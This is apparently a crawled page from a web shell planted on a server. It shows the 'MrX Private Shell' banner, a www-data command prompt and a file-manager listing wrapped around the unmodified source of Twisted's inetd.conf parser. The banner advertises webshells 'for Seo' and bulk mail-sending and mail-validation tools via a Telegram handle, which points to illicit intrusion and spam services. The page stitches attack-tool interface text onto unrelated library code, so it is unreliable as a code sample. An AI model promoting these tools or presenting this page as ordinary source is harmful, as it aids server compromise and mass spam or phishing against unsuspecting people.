__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# -*- test-case-name: twisted.runner.test.test_inetdconf -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Parser for inetd.conf files
"""

from typing import Optional


# Various exceptions
class InvalidConfError(Exception):
    """
    Invalid configuration file
    """


class InvalidInetdConfError(InvalidConfError):
    """
    Invalid inetd.conf file
    """


class InvalidServicesConfError(InvalidConfError):
    """
    Invalid services file
    """


class UnknownService(Exception):
    """
    Unknown service name
    """


class SimpleConfFile:
    """
    Simple configuration file parser superclass.

    Filters out comments and empty lines (which includes lines that only
    contain comments).

    To use this class, override parseLine or parseFields.
    """

    commentChar = "#"
    defaultFilename: Optional[str] = None

    def parseFile(self, file=None):
        """
        Parse a configuration file

        If file is None and self.defaultFilename is set, it will open
        defaultFilename and use it.
        """
        close = False
        if file is None and self.defaultFilename:
            file = open(self.defaultFilename)
            close = True

        try:
            for line in file.readlines():
                # Strip out comments
                comment = line.find(self.commentChar)
                if comment != -1:
                    line = line[:comment]

                # Strip whitespace
                line = line.strip()

                # Skip empty lines (and lines which only contain comments)
                if not line:
                    continue

                self.parseLine(line)
        finally:
            if close:
                file.close()

    def parseLine(self, line):
        """
        Override this.

        By default, this will split the line on whitespace and call
        self.parseFields (catching any errors).
        """
        try:
            self.parseFields(*line.split())
        except ValueError:
            raise InvalidInetdConfError("Invalid line: " + repr(line))

    def parseFields(self, *fields):
        """
        Override this.
        """


class InetdService:
    """
    A simple description of an inetd service.
    """

    name = None
    port = None
    socketType = None
    protocol = None
    wait = None
    user = None
    group = None
    program = None
    programArgs = None

    def __init__(
        self, name, port, socketType, protocol, wait, user, group, program, programArgs
    ):
        self.name = name
        self.port = port
        self.socketType = socketType
        self.protocol = protocol
        self.wait = wait
        self.user = user
        self.group = group
        self.program = program
        self.programArgs = programArgs


class InetdConf(SimpleConfFile):
    """
    Configuration parser for a traditional UNIX inetd(8)
    """

    defaultFilename = "/etc/inetd.conf"

    def __init__(self, knownServices=None):
        self.services = []

        if knownServices is None:
            knownServices = ServicesConf()
            knownServices.parseFile()
        self.knownServices = knownServices

    def parseFields(
        self, serviceName, socketType, protocol, wait, user, program, *programArgs
    ):
        """
        Parse an inetd.conf file.

        Implemented from the description in the Debian inetd.conf man page.
        """
        # Extract user (and optional group)
        user, group = (user.split(".") + [None])[:2]

        # Find the port for a service
        port = self.knownServices.services.get((serviceName, protocol), None)
        if not port and not protocol.startswith("rpc/"):
            # FIXME: Should this be discarded/ignored, rather than throwing
            #        an exception?
            try:
                port = int(serviceName)
                serviceName = "unknown"
            except BaseException:
                raise UnknownService(f"Unknown service: {serviceName} ({protocol})")

        self.services.append(
            InetdService(
                serviceName,
                port,
                socketType,
                protocol,
                wait,
                user,
                group,
                program,
                programArgs,
            )
        )


class ServicesConf(SimpleConfFile):
    """
    /etc/services parser

    @ivar services: dict mapping service names to (port, protocol) tuples.
    """

    defaultFilename = "/etc/services"

    def __init__(self):
        self.services = {}

    def parseFields(self, name, portAndProtocol, *aliases):
        try:
            port, protocol = portAndProtocol.split("/")
            port = int(port)
        except BaseException:
            raise InvalidServicesConfError(
                f"Invalid port/protocol: {repr(portAndProtocol)}"
            )

        self.services[(name, protocol)] = port
        for alias in aliases:
            self.services[(alias, protocol)] = port

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
newsfragments Folder 0755
test Folder 0755
__init__.py File 124 B 0644
inetd.py File 1.97 KB 0644
inetdconf.py File 4.93 KB 0644
inetdtap.py File 3.45 KB 0644
procmon.py File 13.14 KB 0644
procmontap.py File 2.49 KB 0644
Filemanager